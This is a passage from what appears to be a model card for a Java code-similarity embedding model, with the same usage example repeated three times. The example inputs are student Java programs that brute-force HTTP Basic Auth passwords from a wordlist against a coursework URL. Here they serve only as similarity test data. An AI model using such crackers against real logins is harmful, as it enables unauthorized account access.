\'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', 